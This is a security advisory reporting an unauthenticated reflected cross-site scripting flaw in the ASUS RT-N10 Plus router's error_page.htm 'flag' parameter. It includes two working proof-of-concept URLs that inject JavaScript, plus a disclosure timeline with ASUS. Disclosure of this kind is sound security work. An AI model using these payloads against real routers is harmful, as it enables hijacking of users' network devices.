Unauthenticated Reflected XSS vulnarbility in Asus RT-N10 Plus router

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Title:-   Reflected XSS vulnarbility in Asus RT-N10 Plus router
Author:   Kaustubh G. Padwad
Product:  ASUS Router RT-N10 Plus
Firmware: 2.1.1.1.70
Severity: HIGH
Auth:     Not requierd

# Description:
Vulnerable Parameter: flag=
# Vulnerability Class:
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS))

# About Vulnerability: Asus Router RT-N10 Plus with firmware 2.1.1.70 is vulnarable for crosss site scripting attack,this may cause a huge network compemise.As this does not requierd any authentication this can be a mass network compermising.

#Technical Details: The value of the flag request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload initial78846%27%3balert("
Hacked_BY_S3curity_B3ast")%2f%2f372137b5d was submitted in the flag parameter. This input was echoed unmodified in the application's response.


#Steps to Reproduce: (POC):
After setting up router
Enter this URL
1.http://router/error_page.htm?flag=initial78846%27%3balert(document.lastmodified)%2f%2f372137b5d
2.http://router/error_page.htm?flag=initial78846%27%3balert("Hacked_BY_S3curity_B3ast")%2f%2f372137b5d


# Disclosure:
8-jan-2015 Repoerted to ASUS
9-jan-2015 Asus confirm that they reported to concern department
15-jan-2015 Ask for update from asus asus says reported to HQ
28-jan-2015 Ask asus about reporting security foucus No reply from ASUS
29-jan-2015 security focus bugtraq


#credits:
Kaustubh Padwad
Information Security Researcher
kingkaustubh@me.com
https://twitter.com/s3curityb3ast
http://breakthesec.com
https://www.linkedin.com/in/kaustubhpadwad